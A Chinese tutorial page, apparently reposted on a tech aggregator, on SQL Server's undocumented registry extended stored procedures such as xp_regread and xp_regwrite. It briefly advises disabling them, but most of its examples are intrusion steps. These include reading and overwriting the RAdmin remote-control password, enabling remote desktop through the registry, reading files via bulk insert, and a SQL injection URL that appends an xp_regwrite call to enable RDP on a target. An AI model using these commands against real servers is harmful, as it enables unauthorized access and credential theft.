首页 / 更多教程 / 几个扩展存储过程使用方法

几个扩展存储过程使用方法

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了几个扩展存储过程使用方法，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含2899字，纯文字阅读大概需要5分钟。

内容图文

SQL Server中包含了几个可以访问系统注册表的扩展存储过程.但实际上这几个扩展存储过程是未公开的,从sql server 7.0就有了,
在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统注册表的能力,
而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们.
xp_regenumvalues 以多个记录集方式返回所有键值
使用方法:
xp_regenumvalues 注册表根键, 子键
比如说,想看看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 的所有键值:

use master
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'

xp_regread 返回制定键的值
使用方法:
xp_regread 根键,子键,键值名
use master
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
得到密码
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
远程桌面开启为0
xp_regwrite 写入注册表
使用方法:
xp_regwrite 根键,子键, 值名, 值类型, 值
use master
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0xD7B7CB315B4E731D8E9EF886CE6DCB23;--

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY','';--
必须清空后再写新数值
修改成功的前提是值为空
注意值类型有2种REG_SZ 表示字符型,相当于新建字符串值,REG_DWORD 表示整型,相当于新建DWORD值
REG_BINARY
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',1;--
禁用远程桌面
xp_regdeletevalue 删除某个值
使用方法:
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
use master
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'

xp_regdeletekey 删除键,包括该键下所有值
使用方法:
use master
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters'

运行前提SA
可能用处不是很大，也没深入研究，因为觉得读asp用xp_makecab更方便点，仅供思维扩展。
方法1.bulk insert aaa FROM 'c:\1.txt'
方法2.xp_readerrorlog 1,'c:\1.txt'
开启远程桌面http://192.168.200.188/product_list.asp?classid=14;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWord',0;--

您可能感兴趣的文章:

sqlserver数据库危险扩展删除和恢复代码

内容总结

以上是互联网集市为您收集整理的几个扩展存储过程使用方法全部内容，希望文章能够帮你解决几个扩展存储过程使用方法所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/587355.html

来源：【匿名】

【上一篇】SQL合并多行记录的相同字段值【下一篇】关于IE的RegExp.exec的问题

更多 ►

【几个扩展存储过程使用方法】教程文章相关的互联网学习教程文章

SQL 用户定义表类型，在存储过程里使用数据类型作參数【代码】【图】

在数据库编程里使用数据类型，能够提高代码的重用性。它们常常被使用在方法和存储过程中。使用数据类型，我们能够避免在存储过程里定义一串的參数，让人眼花缭乱，它就相当于面向对象语言里。向一个方法里传入一个对象，而该对象有各种属性，存储过程仅仅须要获取这个对象就能获取到各个參数，然后做出对应的处理。有所不同的是SQL的表类型是能够包括多条数据的。到底是怎么一回事，且看以下的样例。1. 首先我创建了一个学生表，包...

sybase创建存储过程

create procedure P_mng_prize @ResultCode char(1) out, @ResultMsg char(50) out, @...

SQL 存储过程分页【代码】

CREATE PROC p_Team_GetTemaList@pageindex INT ,@pagesize INT ,@keywords VARCHAR(200) , --模糊查询名称标签 @citycode VARCHAR(100) ,@verifyStatus INT =0,-- -1所有的 0 没有通过 1 审核通过@orderby INT,@TotalCount INT OUTPUT ASBEGINDECLARE @PageLowerBound INTDECLARE @PageUpperBound INT DECLARE @Where VARCHAR(300)=‘‘DECLARE @Order VARCHAR(300)=‘‘DECLARE @exsql NVARCHAR(1000)=‘‘SET @PageLowerBo...

tsql 执行存储过程【图】

https://msdn.microsoft.com/zh-sg/library/ms189915.aspx https://msdn.microsoft.com/en-us/library/ms188332.aspxtsql 执行存储过程标签：本文系统来源：http://www.cnblogs.com/zhangxun1/p/5865347.html

当用户取消查询时,如何回滚SQL CLR存储过程？【代码】

我正在尝试创建一个SQL CLR存储过程,该过程将创建一个表,将表名传递到服务上,该服务将向其中批量插入一些数据,显示表的结果,然后清理表. 到目前为止,我已经尝试过： >使用SqlTransaction.取消交易是可行的,但是它使我的查询窗口处于无法继续处理的状态.The transaction active in this session has been committed or aborted by another session>使用TransactionScope.与1相同.>通过发出DROP TABLE SqlCommand手动清理finally子句...

sql脚本存储过程【代码】【图】

DROP PROCEDURE IF EXISTS insertSysValue;2 CREATE 3 PROCEDURE insertSysValue()4 BEGIN5 DECLARE cnt INT DEFAULT 0;6 SET cnt = 0;7 SELECT count(*)8 INTO9 cnt 10 FROM 11 sys_info 12 WHERE 13 parameter_name = ‘AutoSetDeviceStyle‘; 14 IF cnt = 0 THEN 15 INSERT INTO `sys_info` (`parameter_name`, `value_type`, `int_value`, `str_value`, `create_time`) VALUES (‘AutoSetDevice...

针对sql 2005优化的高性能分页存储过程【图】

原文链接：http://www.cnblogs.com/xiao_haun/archive/2011/01/23/1942580.html存储过程代码如下： ALTER?PROCEDURE?[dbo].[Pg_Paging]@Tables?varchar(1000),?--表名,多红表是请使用?tA?a?inner?join?tB?b?On?a.AID?=?b.AID@PK?varchar(100),????--主键，可以带表头?a.AID@Sort?varchar(200)?=?'',?--排序字段@PageNumber?int?=?1,????--开始页码@PageSize?int?=?10,????????--页大小@Fields?varchar(1000)?=?'*',--读取字段@Filt...

几个扩展存储过程使用方法

PL/SQL SQL窗口如何执行存储过程（带返回参数）

SQL 窗口 declare ret integer; retmsg varchar2(200); begin proc_hotel_import(20,trunc(sysdate),ret,retmsg); dbms_output.put_line(‘V_result1=’ || to_char(ret,‘999999’)); – 打印 V_result1 的结果 dbms_output.put_line(‘V_result2=’ || retmsg); – 打印 V_result2 的结果 end; 命令行 –定义输出参数 var ret number; var retmsg varchar2; exec proc_hotel_import(20,trunc(sysdate),:ret,:retmsg);

SQL语句（十九）——存储过程（练习）

* From Student select * From Course select * from SC--INSERT INTO SC (Sno, Cno, Grade) --VALUES (‘1513032087‘, ‘7‘, 99);--(1)找出至少选修X课和Y课的学生学号（P1） -- 执行P1，输出X=数据库，Y=数据结构 GO Create Proc SelectLessonToSno @X varchar(40), @Y varchar(40) AS begin select SC.Sno from SC, Course where SC.Cno = Course.Cno and SC.Cno in (Select SC.CnoFrom SC, CourseWhere SC.Cno = Course.Cno ...

通过JDBC API调用存储过程的范例【代码】

通过JDBC API调用存储过程以下内容参考孙卫琴所写的《Java网络编程核心技术详解》一书的第12章。源代码下载地址为：http://lesson.javathinker.net/javanet/javanetsourcecode.rar java.sql.CallableStatement接口用来执行数据库中的存储过程。Connection的prepareCall()方法创建一个CallableStatement对象。假设MySQL数据库中有一个名为demoSp的存储过程，它的定义如下： delimiter // CREATE PROCEDURE demoSp(IN inputParam V...

积分获取和消费的存储过程学习示例

1.GM_JF客户账户积分表 2. GM_JF_DETAIL客户账户积分消费记录 3. GM_JF_ACTION _RULES积分动作规则表 4.GM_JF_GOODS _RULES积分商品规则表代码如下:-- ===============测试=======================================================/*declare @StatusCode int = 1;exec sp_GM_JF_AddScore admin,AN_JF_001_001,1,5,0,,@StatusCode outputprint @StatusCode*/-- =================================================================...

sql 分页存储过程

USE [FcityDB２]2 GO3 4 /****** Object: StoredProcedure [dbo].[Proc_GetDataPaged] Script Date: 2015/7/24 10:15:05 ******/5 SET ANSI_NULLS ON6 GO7 8 SET QUOTED_IDENTIFIER ON9 GO10 11 12 13 14 CREATE PROCEDURE [dbo].[Proc_GetDataPaged]15 @StrSelect VARCHAR(max)=NULL,--欲显示的列（多列用逗号分开），例如：id,name16 @StrFrom VARCHAR(max)= NULL,--表名称，或者是表连接字符串，多表连接例如:stude...

根据日期动态创建数据库的存储过程【代码】

============================================= -- Author:<Author,,Name> -- Create date: <Create Date,,> -- Description:<Description,,> -- ============================================= ALTER PROCEDURE [dbo].[proc_created_database_log] AS declare @sqlStr varchar(200) BEGIN set @sqlStr=‘if not exists (select * from master.dbo.sysdatabases where name=‘‘Log‘+convert(varchar(8),getd...

转载 sql 存储过程与函数区别

SQL Server用户自定义函数和存储过程有类似的功能，都可以创建捆绑SQL语句，存储在server中供以后使用。这样能够极大地提高工作效率，通过以下的各种做法可以减少编程所需的时间：重复使用编程代码，减少编程开发时间。隐藏SQL细节，把SQL繁琐的工作留给数据库开发人员，而程序开发员则集中处理高级编程语言。维修集中化，可以在一个地方做业务上的逻辑修改，然后让这些修改自动应用到所有相关程序中。乍看之下，用户自定义函数和存...

首页 / 更多教程 / 几个扩展存储过程使用方法

几个扩展存储过程使用方法

内容导读

内容图文

您可能感兴趣的文章:

内容总结

内容备注

内容手机端

【几个扩展存储过程使用方法】教程文章相关的互联网学习教程文章

SQL 用户定义表类型，在存储过程里使用数据类型作參数【代码】【图】

sybase创建存储过程

SQL 存储过程分页【代码】

tsql 执行存储过程【图】

当用户取消查询时,如何回滚SQL CLR存储过程？【代码】

sql脚本存储过程【代码】【图】

针对sql 2005优化的高性能分页存储过程【图】

几个扩展存储过程使用方法

PL/SQL SQL窗口如何执行存储过程（带返回参数）

SQL语句（十九）——存储过程（练习）

通过JDBC API调用存储过程的范例【代码】

积分获取和消费的存储过程学习示例

sql 分页存储过程

根据日期动态创建数据库的存储过程【代码】

转载 sql 存储过程与函数区别

更多教程 - 最新教程

更多教程 - 最热教程